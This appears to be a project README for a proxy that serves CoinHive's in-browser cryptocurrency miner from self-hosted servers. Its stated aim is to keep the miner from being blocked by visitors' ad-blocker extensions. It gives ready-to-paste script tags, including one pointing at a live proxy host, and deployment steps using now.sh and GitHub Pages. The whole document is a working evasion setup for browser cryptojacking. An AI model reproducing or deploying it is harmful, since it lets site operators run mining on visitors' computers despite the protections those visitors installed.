This is a simple proxy for CoinHive's client and websocket server.
This project is not endorsed by or affiliated with coinhive.com
in any way.
Instead of embedding CoinHive's JavaScript Miner, which would be something like this:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
You can embed this proxy:
<script src="https://cazala.github.io/coin-hive-proxy/client.js?coin-hive-proxy=coin-hive-proxy-ybydcnjgkl.now.sh"></script>
And it will work in the same way.
Ad-blockers
You can create your own client and/or server proxies just doing the following:
Just deploy this repo to now.sh
This will deploy a proxy instance to your now.sh
account, and it will give you a url like this: coin-hive-proxy-ybydcnjgkl.now.sh
.
This is YOUR-SERVER-URL
Just fork this repo, and create a branch named gh-pages
.
This will create a github page under you github's account with the client.js
file.
After that you will be able to access the client via https://<YOUR-GITHUB-USERNAME>.github.io/coin-hive-proxy/client.js
This is your YOUR-CLIENT-URL
Now you can use the following script tag instead of CoinHive's to avoid being blocked by an ad-block extension:
<script src="YOUR-CLIENT-URL?coin-hive-proxy=YOUR-SERVER-URL"></script>
It should look like the one above.